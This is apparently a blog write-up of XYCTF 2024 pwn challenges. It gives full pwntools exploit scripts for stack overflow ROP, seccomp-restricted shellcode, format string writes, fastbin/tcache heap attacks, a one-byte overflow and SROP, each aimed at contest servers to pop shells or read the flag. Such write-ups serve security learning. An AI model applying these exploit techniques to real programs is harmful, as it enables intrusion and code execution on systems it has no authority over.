[XYCTF新生赛2024] pwn

用了一周来复现crypto部分(不能算是复现,拿着 糖醋小鸡块的WP一点点学了下)。

两天时间复现PWN部分。相对来说PWN比密码这块要简单,不过ARM,MIPS懒得学了,跳过。

malloc_flag

题目先打开flag将建0x100的块,然后把flag读入再free掉块。后边允许建块和show。只要再建个同大小的块然后show就能拿到flag

hello_world

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[20]; // [rsp+0h] [rbp-20h] BYREF

  init();
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  return 0;
}

有两次读入和输出并且可以溢出,第1次输入0x28长得到libc_start_main_ret,第2次再溢出写pop_rdi,bin_sh,system

from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
#p = process('./eztext')
p = remote('gz.imxbt.cn', 20022)

p.sendafter(b"please input your name: ", b'A'*0x28)
p.recvuntil(b'A'*0x28)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x29d90

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']

p.sendafter(b"please input your name: ", b'A'*0x28+ flat(pop_rdi+1, pop_rdi, bin_sh, system))

p.interactive()

Intermittent

是个shellcode题,输入的shellcode被分成3段每断4字节

    write(1, "show your magic: ", 0x11uLL);
    read(0, buf, 0x100uLL);
    for ( i = 0LL; i <= 2; ++i )
      *((_DWORD *)v5 + 4 * i) = buf[i];
    v5();

前边两段需要jmp $+14跳到下一块,用push,pop设置参数后syscall作个read读入后边的shellcode

from pwn import *
context(arch='amd64', log_level='debug')
p = remote('gz.imxbt.cn', 20029)

shellcode = asm("push rdx;pop rsi;jmp $+14;")
shellcode+= asm("push rax;pop rdi;jmp $+14;")
shellcode+= asm("push rsi;pop rdx;syscall;")

p.sendafter(b"show your magic: ", shellcode.ljust(0x100, b'\x90'))
p.send(b'\x90'*0x28 + asm(shellcraft.sh()))

p.interactive()

invisible_flag

第2个shellcode题,但作了seccomp禁用了open,read,readv,write,writev,execve,execveat

用openat打开然后sendfile,可以直接用shellcraft.openat,这是专门手搓个只有0x20字节的。

from pwn import *

context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')

p = remote('gz.imxbt.cn', 20029)

#int openat(int dirfd, const char *pathname, int flags, mode_t mode);
#含/flag 0x20字节
shellcode = f"""
push rdx;pop rsi;xor rsi,0x1b;
push rbx;pop rdx;
inc al;inc ah;
syscall;

push 1;pop rdi;
xchg rax,rsi;
/* push rbx;pop rdx; */ /*rdx=0*/
xor r10,r11;
push 0x28;pop rax;
syscall;
"""

p.sendafter(b"show your magic again\n", asm(shellcode).ljust(0x100,b'\x90')+b'/flag')

p.interactive()

fmt

这个格式化字符串漏洞用的是scanf也就是指定参数读入

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf1[32]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init();
  printf("Welcome to xyctf, this is a gift: %p\n", &printf);
  read(0, buf1, 0x20uLL);
  __isoc99_scanf(buf1);
  printf("show your magic");
  return 0;
}

先指定一个偏移读%7$s,再在偏移处写上指针,然后就能把后门写到指针处。

2.31还有exit_hook在rtld_global+3848处,并且与libc位置固定。

在docker上起的时候比本地少0x6000

from pwn import *

context(arch='amd64', log_level='debug')

libc = ELF('./libc-2.31.so')

p = remote('gz.imxbt.cn', 20038)

p.recvuntil(b"gift: ")
libc.address = int(p.recvline(),16) - libc.sym['printf']

#exit->fs+30->_rtld_global+3848
#0x7ffff7ffdf68 <_rtld_global+3848>:     0x00000000004012be 
exit_hook = libc.address +0x222f68
#exit_hook += 0x6000 #local offset 本地比远程多0x6000
p.send(flat(b'%7$s\0\0\0\0',exit_hook,0,0))

p.sendline(p64(0x4012be))

p.interactive()

 fastfastfast

从题目上看是用fastbinAttack,因为2.31不再允许直接在tcache里double free所以要先填满tcache再在fastbin里double free,第1次泄露libc,第2次写free_hook

from pwn import *

context(arch='amd64', log_level='debug')

libc = ELF('./libc-2.31.so')
elf = ELF('./vuln')

#p = process('./vuln')
p = remote('gz.imxbt.cn', 20043)

def add(idx, msg='A'):
    p.sendlineafter(b">>> ", b'1')
    p.sendlineafter(b"please input note idx\n", str(idx).encode())
    p.sendafter(b"please input content\n", msg)

def free(idx):
    p.sendlineafter(b">>> ", b'2')
    p.sendlineafter(b"please input note idx\n", str(idx).encode())

def show(idx):
    p.sendlineafter(b">>> ", b'3')
    p.sendlineafter(b"please input note idx\n", str(idx).encode())

#set notes_list[0]->got.puts leak libc
for i in range(9):
    add(i)

for i in range(7):
    free(8-i)

free(0)
free(1)
free(0)

for i in range(7):
    add(2+i)

add(0, p64(0x4040c0))
add(1)
add(10)
add(11, p64(elf.got['puts']))
show(0)
libc.address = u64(p.recv(0x8)) - libc.sym['puts']
print(f"{libc.address = :x}")

#__free_hook->system
for i in range(9):
    add(i)

for i in range(7):
    free(8-i)

free(0)
free(1)
free(0)

for i in range(7):
    add(2+i)

add(0, p64(libc.sym['__free_hook']))
add(1)
add(10, b'/bin/sh\x00')
add(11)
add(11, p64(libc.sym['system']))

free(10)
p.interactive()

ptmalloc2_its_myheap

这题有3道,难度加大。

第1题PIE未开,并且got表可写。直接覆盖free为system

3个题的菜单一样,只有add,free,show,没有edit稍有点麻烦。

add时先写个0x18的管理块,再建数据块,并将指针和大小写到管理块。

free时先free管理块再free数据块,并且未清指针,所以有UAF漏洞。

show是用write写不会出现\0截断。

通过建0x18的块覆盖原来free掉但未清指针的管理块,控制管理块的指针,可以实现任意地址读。

并且可以指定一个位置来 free得到到重叠块,覆盖原tcache的指实在在指定位置建块写数据。

from pwn import *

context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
elf = ELF('./vuln')

#p = process('./vuln')
p = remote('gz.imxbt.cn', 20044)

def add(idx, size, msg='A'):
    p.sendlineafter(b">>> ", b'1')
    p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())
    p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())
    p.sendafter(b"[?] Enter chunk data: ", msg)

def free(idx):
    p.sendlineafter(b">>> ", b'2')
    p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())

def show(idx):
    p.sendlineafter(b">>> ", b'3')
    p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())

add(0,0x20, flat(0,0,0,0x61))
add(1,0x20)
free(0)
free(1)
add(2,0x18, flat(8,1,0x404018))
show(0)
libc.address = u64(p.recv(8)) - libc.sym['free']
print(f"{libc.address = :x}")

free(2)
add(2,0x18, flat(8,1,elf.sym['chunk_list']))
show(1)
heap = u64(p.recv(8)) - 0x2a0
print(f"{heap = :x}")

free(2)
add(2,0x18, flat(8,1,heap+0x2e0))
free(0)

add(1, 0x58, flat(0,0x21,8,1,0,0x31, (heap>>12)^(elf.got['free']-8)))
add(3,0x20, b'/bin/sh\0')
add(4,0x20, flat(0, libc.sym['system']))

free(3)
p.interactive()

ptmalloc2_its_myheap_pro

got表不可写了,这里有好多攻击姿势,其中写exit_hook(与上题不一样,2.35没有rtld_global里的exit_hook,这是个tls里的)前几天写过了。通过libc找栈地址,在栈里打到ld地址,通过ld里的rtld_global找到TLS地址在里边写ROP,第1断加密。详见前边一篇。

在得到栈地址后可以直接写栈,这样在返回地址写ROP,感觉更方便处理。前边也写过了

from pwn import *

context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
elf = ELF('./vuln')

#p = process('./vuln')
p = remote('gz.imxbt.cn', 20075)

def add(idx, size, msg='A'):
    p.sendlineafter(b">>> ", b'1')
    p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())
    p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())
    p.sendafter(b"[?] Enter chunk data: ", msg)

def free(idx):
    p.sendlineafter(b">>> ", b'2')
    p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())

def show(idx):
    p.sendlineafter(b">>> ", b'3')
    p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())

add(0,0x20, flat(0,0,0,0x61))
add(1,0x20)
free(0)
free(1)
add(2,0x18, flat(8,1,elf.got['free']))
show(0)
libc.address = u64(p.recv(8)) - libc.sym['free']
print(f"{libc.address = :x}")

free(2)
add(2,0x18, flat(8,1,elf.sym['chunk_list']))
show(1)
heap = u64(p.recv(8)) - 0x2a0
print(f"{heap = :x}")

free(2)
add(2,0x18, flat(8,1,libc.sym['_environ']))
show(0)
stack = u64(p.recv(8))
print(f"{stack = :x}")

free(2)
add(2,0x18, flat(8,1,stack-0x68))
show(1)
ld_address = u64(p.recv(8)) - 0x3b2e0
print(f"{ld_address = :x}")

_rtld_global = ld_address + 0x3a040
free(2)
add(2,0x18, flat(8,1,_rtld_global+0x20))
show(0)
tls = u64(p.recv(8)) - 0x3150 + 0x740
print(f"{tls = :x}")

free(2)
add(2,0x18, flat(0x10,1,tls+0x28))
show(1)
canary = u64(p.recv(8)) 
pointer_guard = u64(p.recv(8)) 
print(f"{canary = :x} {pointer_guard}")

free(2)
add(2,0x18, flat(8,1,heap+0x2e0))
free(0)

add(1, 0x58, flat(0,0x21,8,1,0,0x31, (heap>>12)^(stack-0x148)))

add(3,0x20, b'/bin/sh\0')

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
add(4,0x28, flat(0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))

p.interactive()

ptmalloc2plus

这个PIE也打开了,不能直接读got表得到libc了,需要用unsort。

这题在seccomp的时候建了很多块然后free,所以tcache里非常乱,乱给它耗掉,然后free0x90块8次利用unsort.fd可以直接得到libc.

还是上题的思路,这次先把ROP写到堆里,在栈里写rbp,leave_ret进行移栈。

from pwn import *

context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
elf = ELF('./vuln')

#p = process('./vuln')
p = remote('gz.imxbt.cn', 20076)

def add(idx, size, msg='A'):
    p.sendlineafter(b">>> ", b'1')
    p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())
    p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())
    p.sendafter(b"[?] Enter chunk data: ", msg)

def free(idx):
    p.sendlineafter(b">>> ", b'2')
    p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())

def show(idx):
    p.sendlineafter(b">>> ", b'3')
    p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())

#耗掉前边不连续的0x20块
for i in range(5):
    add(0,0x18)

add(0,0x18)
free(0)
add(1,0x18)
show(1)
heap = u64(p.recv(0x18)[0x10:]) - 0x14a0
print(f"{heap = :x}")

for i in range(9):
    add(i+2,0x80)
for i in range(8):   #unsort +0x19b0
    free(i+2)
for i in range(4):
    add(i+2, 0x18)

free(1)
add(0,0x18, flat(0x18,1,heap+0x19b0))
show(1)
libc.address = u64(p.recv(0x10)[8:]) - 0x21ace0
print(f'{libc.address = :x}')

free(0)
add(1,0x18, flat(0x18,1,libc.sym['_environ']))
show(0)
stack = u64(p.recv(8)) - 0x148 #chunk_add.ret
print(f"{stack = :x}")

free(2)
free(3)
add(2, 0x28, flat(0,0,0,0x41))
add(3, 0x28)

free(2)
free(3)
free(1)
add(0, 0x18, flat(0x38,1, heap+0x19d0))
free(1)
add(1, 0x38, flat(0,0x31, ((heap+0x19d0)>>12)^stack  ))

for i in range(8):
    add(2,0x80)


pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc.address + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc.address + 0x00000000000904a9 # pop rdx ; pop rbx ; ret
pop_rcx = libc.address + 0x0000000000108b04 # pop rcx ; pop rbx ; ret
pop_rax = libc.address + 0x0000000000045eb0 # pop rax ; ret
leave_ret = libc.address + 0x000000000004da83 # leave ; ret
syscall = libc.sym['getpid'] + 9
buf = heap+0x1cf0

#ROP 比块长,分两断,中间用ppp跳过
pay1 = flat([
    pop_rdi, buf, pop_rsi, 0, pop_rax,2, syscall,
    pop_rdi, 3, pop_rsi, buf, pop_rdx, 0x50, 0, 
    pop_rdi+1, pop_rcx
    ])
pay2 = flat([
    pop_rax,0, syscall,
    pop_rdi, 1, pop_rax, 1, syscall
]) +  b'flag\x00'


add(2,0x18,b'2')
free(2)
add(3, 0x80, pay1)
add(4, 0x80, pay2)

add(5, 0x28)
add(5, 0x28, flat(heap+0x1c20-8, leave_ret))

p.interactive()

vuln

这是个静态编译的题,直接用ROPgadget得到ROP再修改一下

from pwn import *
from struct import pack

context(arch='amd64', log_level='debug')

#io = process('./vuln')
io = remote('gz.imxbt.cn', 20077)

#ROPgadget --binary vuln --ropchain
p = b'\x00'*0x28

p += pack('<Q', 0x0000000000409f8e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000447fe7) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a465) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f8e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1b0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a465) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f1f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f8e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x0000000000451322) # pop rdx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1b0) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000447fe7) # pop rax ; ret
p += b'\x3b'+b'\x00'*7
p += pack('<Q', 0x0000000000401cd4) # syscall

io.send(p)
io.interactive()

one_byte

比前边几题多了edit,在edit时可以多输入1字节。可以通过1字节覆盖后边块头变大,free里再建得到重叠块进行tcache攻击。

from pwn import *

context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6') #2.31-0ubuntu9.14
elf = ELF('./vuln')

#p = process('./vuln')
p = remote('gz.imxbt.cn', 20078)

def add(idx, size):
    p.sendlineafter(b">>> ", b'1')
    p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())
    p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())

def free(idx):
    p.sendlineafter(b">>> ", b'2')
    p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())

def show(idx):
    p.sendlineafter(b">>> ", b'3')
    p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())

def edit(idx,msg):
    p.sendlineafter(b">>> ", b'4')
    p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())
    p.send(msg)


add(0,0x18)
add(1,0x18)
add(2,0x200)
add(3,0x200)
add(4,0x18)

edit(2, flat(0,0,0,0x1f1))
edit(0, flat(0,0,0)+b'\x41')
free(1)
add(1, 0x38)
edit(1, flat(0,0,0,0x421))
free(2)
show(1)
libc.address = u64(p.recv(0x28)[0x20:]) - 0x1ecbe0
print(f"{libc.address = :x}")

add(2, 0x18)
free(0)
free(2)
edit(1, flat(b'/bin/sh\0',0,0,0x21, libc.sym['__free_hook']))
add(2, 0x18)
add(0, 0x18)
edit(0, p64(libc.sym['system']))
free(1)
p.interactive()

Guessbook1

边界溢出,可以溢出1字节写到rbp的尾字节,再main_leave_ret时会发生移栈。先把后门写上然后将rbp尾字节改小

from pwn import *
context(arch='amd64', log_level='debug')

#p = process('./pwn')
#gdb.attach(p, "b*0x401320\nc")
p = remote('gz.imxbt.cn', 20079)

def note(idx,name,ids):
    p.sendlineafter(b"index\n", str(idx).encode())
    p.sendafter(b"name:\n", name)
    p.sendlineafter(b"id:\n", str(idx).encode())

for i in range(32):
    note(i, p64(0x401328)*2,i)

note(32,b'A'*0x10, 0)  #rbp = xxx0
p.sendlineafter(b"index\n", b'-1')

p.interactive()

babyGift

这题提示的gift一直没找到有啥用,感觉唯一的用处就是填充了rdi

先用printf;ret得到libc地址,然后调用_start得新开始,再写ROP

from pwn import *

context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6') #2.31-0ubuntu9.14
elf = ELF('./vuln')

#p = process('./vuln')
#gdb.attach(p, "b*0x4012ad\nc")
p = remote('gz.imxbt.cn', 20102)

p.sendlineafter(b"Your name:\n", b'A')
#p.sendlineafter(b"Your passwd:\n", b'%p'*0x10 + flat(0x404f00, 0x401202,0x404f00, elf.sym['_start']))
#                                                                                      printf,ret 
p.sendlineafter(b"Your passwd:\n", b'%27$p,%11$p,'.ljust(0x20,b'\x00')+ flat(0x404f00, 0x401202,0x404f00, elf.sym['_start']))

libc.address = int(p.recvuntil(b',', drop=True), 16) - 128 - libc.sym['__libc_start_main']
stack = int(p.recvuntil(b',', drop=True), 16)

#p.sendlineafter(b"Your name:\n", b'A')
p.sendlineafter(b"Your passwd:\n", b'/bin/sh'.ljust(0x20,b'\x00')+ flat(0x404f00, 0x4012ae, libc.sym['system']))

p.interactive()

simple_srop

简单的SROP,并且直接给了mov rax,0xf;syscall,难点就在于ORW至少需要2次但给的read只有0x200不够。需要先移栈到BSS再用srop读入后续的payload。

from pwn import *

context(arch='amd64', log_level='debug')

#libc = ELF('./libc.so.6') #2.31-0ubuntu9.14
elf = ELF('./vuln')

#p = process('./vuln')
#gdb.attach(p, "b*0x4012d4\nc")
p = remote('gz.imxbt.cn', 20108)

sig_ret = 0x401296
syscall = 0x40129d
bss = 0x404800

#move stack to bss
p.send(flat(b'\x00'*0x20, bss, 0x4012b9).ljust(0x200, b'\x00'))

#read(0, bss+0x200,0x600)
pay = b'flag'.ljust(0x20, b'\x00') + flat(bss, sig_ret)
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = bss + 0x200
frame.rdx = 0x500
frame.rsp = bss + 0x200  #
frame.rip = syscall


pay += bytes(frame)
p.send(pay.ljust(0x200, b'\x00'))

pay = p64(sig_ret)
#open
frame = SigreturnFrame()
frame.rax = 2
frame.rdi = bss - 0x20
frame.rsi = 0
frame.rdx = 0
frame.rsp = bss + 0x200 + 0x100  #
frame.rip = syscall
pay += flat(frame)

#read
pay += p64(sig_ret)
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 3
frame.rsi = bss-0x100
frame.rdx = 0x50
frame.rbp = bss
frame.rsp = bss + 0x200 + 0x100*2  #
frame.rip = syscall
pay += flat(frame)

#write
pay += p64(sig_ret)
frame = SigreturnFrame()
frame.rax = 1
frame.rdi = 1
frame.rsi = bss-0x100
frame.rdx = 0x50
frame.rbp = bss
frame.rsp = bss + 0x200 + 0x100*3  #
frame.rip = syscall
pay += flat(frame)

p.send(pay)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/757893.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【PL理论深化】(12) Ocaml 语言:高阶函数 | map 函数 | filter 函数 | fold 函数

&#x1f4ac; 写在前面&#xff1a;在函数式编程中&#xff0c;除了递归函数外&#xff0c;还经常使用高阶函数。高阶函数是指接收其他函数作为参数或返回另一个函数的函数。高阶函数通过抽象编程模式以实现重用&#xff0c;使程序可以在更高层次上进行编写。让我们重点看看常…

Webpack: 核心配置结构

概述 Webpack 是一种 「配置」 驱动的构建工具&#xff0c;所以站在应用的角度&#xff0c;必须深入学习 Webpack 的各项配置规则&#xff0c;才能灵活应对各种构建需求。本文将作为小册应用系列的一个总结&#xff0c;汇总与应用配置相关的各项知识点&#xff0c;包括&#x…

酒店客房管理系统(Java+MySQL)

技术栈 Java: 作为主要编程语言。Swing GUI: 用于开发图形用户界面。MySQL: 作为数据库管理系统。JDBC: 用于连接和操作MySQL数据库。 功能要点 管理登录认证 系统提供管理员登录认证功能。通过用户名和密码验证身份&#xff0c;确保只有授权的用户可以访问和管理酒店客房信…

数据结构复习指南

数据结构复习指南 本文中列举了数据结构期末考试可能存在的考点 绪论 数据的基本单位 数据元素是数据的基本单位 数据项 数据项是组成数据的、有独立含义的、不可分割的最小单位。 数据对象 数据对象是性质相同的数据元素的集合&#xff0c;是数据的一个子集。 数据结…

KBL410-ASEMI智能AI专用整流桥KBL410

编辑&#xff1a;ll KBL410-ASEMI智能AI专用整流桥KBL410 型号&#xff1a;KBL410 品牌&#xff1a;ASEMI 封装&#xff1a;KBL-4 正向电流&#xff08;Id&#xff09;&#xff1a;4A 反向耐压&#xff08;VRRM&#xff09;&#xff1a;1000V 正向浪涌电流&#xff1a;2…

系统运维面试总结(系统权限)

系统运维面试总结&#xff08;系统权限&#xff09; 一、权限优化简述Linux权限划分原则二、备份策略三、Raid四、资源查看五、Linux启动流程 一、权限优化简述Linux权限划分原则 ckhunter也是一款常用的Linux杀毒软件 不可修改但可删除 二、备份策略 供参考较为全面的备份方案…

【操作系统】进程管理——进程的概念、组成和特征(个人笔记)

学习日期&#xff1a;2024.6.29 内容摘要&#xff1a;进程的基本概念和特征、状态和转换 进程的概念 程序与进程 程序&#xff1a;是静态的&#xff0c;是存放在磁盘里的可执行文件&#xff0c;就是一系列的指令集合 进程&#xff08;Process&#xff09;&#xff1a;是动态…

基于STM32的智能家用电力管理系统

目录 引言环境准备智能家用电力管理系统基础代码实现&#xff1a;实现智能家用电力管理系统 4.1 数据采集模块4.2 数据处理与分析4.3 控制系统实现4.4 用户界面与数据可视化应用场景&#xff1a;电力管理与优化问题解决方案与优化收尾与总结 1. 引言 智能家用电力管理系统通…

6.优化算法之模拟

1.替换所有的问号 . - 力扣&#xff08;LeetCode&#xff09; class Solution {public String modifyString(String s) {char[] sss.toCharArray();int nss.length;for(int i0;i<n;i){if(ss[i]?){for(char cha;ch<z;ch){if((i0||ss[i-1]!ch)&&(in-1||ss[i1]!c…

湖南(市场调研)源点咨询 市场研究中定性调研的优势与局限性

定性调研指的是调研的结果不经量化或数量分析。 它通常用于分析态度、感觉和动机。定性调研特别是焦点小组访谈法还在继续普及&#xff0c;原因有以下三个&#xff1a; 第一&#xff0c;定性调研通常比定量调研成本低&#xff1b; 第二&#xff0c;定性调研在了解消费者内心…

滑动窗口2

1. 水果成篮&#xff08;904&#xff09; 题目描述&#xff1a; 算法原理&#xff1a; 根据题目意思&#xff0c;friuts表示第i棵树上的水果种类&#xff0c;然后我们有两个篮子去在这些树上去采水果&#xff0c;但是有限制就是一个篮子里就只能装一种水果&#xff0c;也就是…

【简单讲解下OneFlow深度学习框架】

&#x1f3a5;博主&#xff1a;程序员不想YY啊 &#x1f4ab;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家 &#x1f917;点赞&#x1f388;收藏⭐再看&#x1f4ab;养成习惯 ✨希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出…

SM2258XT量产工具,SM2258XT开卡三星SSV4颗粒成功分享,SM2259XT量产参考教程,威刚ADATA SP580开卡记录

前两天拆了笔记本上的威刚ADATA SP580 240GB&#xff0c;准备做移动硬盘用&#xff0c;装入移动硬盘盒之后接入电脑&#xff0c;发现系统可认盘&#xff0c;SMART显示正常&#xff0c;Windows的磁盘管理能显示正确容量&#xff0c;但处于未初始化状态&#xff0c;且始终无法初始…

病理性不对称引导的渐进学习用于急性缺血性脑卒中梗死分割| 文献速递-先进深度学习疾病诊断

Title 题目 Pathological Asymmetry-Guided Progressive Learning for Acute Ischemic Stroke Infarct Segmentation 病理性不对称引导的渐进学习用于急性缺血性脑卒中梗死分割 01 文献速递介绍 中风已经成为第二大致命疾病&#xff0c;大约70%的中风是缺血性的。众所周知…

AI in Law 法律领域AI应用-基于DeepNLP AI App Store 评论评测和排名

来源: quora 社区: https://deepnlpaistore.quora.com/ github: https://github.com/rockingdingo/deepnlp/blob/master/store/law.md 法律领域哪些AI服务应用更能满足用户的需求&#xff0c;排名最高? 参考deepnlp.org网站根据用户真实评论打分和show case分享&#xff0c;分…

java基于ssm+jsp 二手手机回收平台系统

1前台首页功能模块 二手手机回收平台系统&#xff0c;在系统首页可以查看首页、手机商城、新闻资讯、我的、跳转到后台、购物车等内容&#xff0c;如图1所示。 图1前台首页功能界面图 用户注册&#xff0c;在用户注册页面可以填写账号、密码、姓名、手机、邮箱、照片、地址、…

论文工具使用---connected papers

如何使用connected papers 使用方法具体功能其他资源 官网地址&#xff1a;connected papers &#xff1a;一个旨在帮助科研工作者快速搜索文献的全新工具&#xff0c;可以清晰的查看文献的引文信息&#xff0c;了解文献的引用和被引用关联。 使用方法 输入论文标题后&#xf…

如何配置Redis + Rdis在IDEA中的使用

文章目录 Step1. 下载zipStep2. 修改环境变量Step3. 启动Redis服务端Step4. 启动Redis客户端Step5. IDEA中链接Redis Step1. 下载zip 下载 Redis-x64-xxx.zip压缩包&#xff0c;解压到 E 盘后&#xff0c;将文件夹重新命名为 redis 下载地址&#xff1a;Redis下载地址 Step2…

Java----面向对象----总复习

面向对象 面向对象的程序设计思想(Object Oriented Programming),简称OOP.是一种设计者思想.关注的焦点是类,参照现实中的事务,将事务的属性特征,行为抽象出来,用类来表示.代码结构:以类为组织单位,每种事务都有自己的属性和行为,功能, 思想:从宏观上 帮助我们把握,整体分析整…

C语言的数据结构:树与二叉树(哈夫曼树篇)

前言 上篇讲完了二叉树&#xff0c;二叉树的查找性能要比树好很多&#xff0c;如平衡二叉树保证左右两边节点层级相差不会大于1&#xff0c;其查找的时间复杂度仅为 l o g 2 n log_2n log2​n&#xff0c;在两边层级相同时&#xff0c;其查找速度接近于二分查找。1w条数据&am…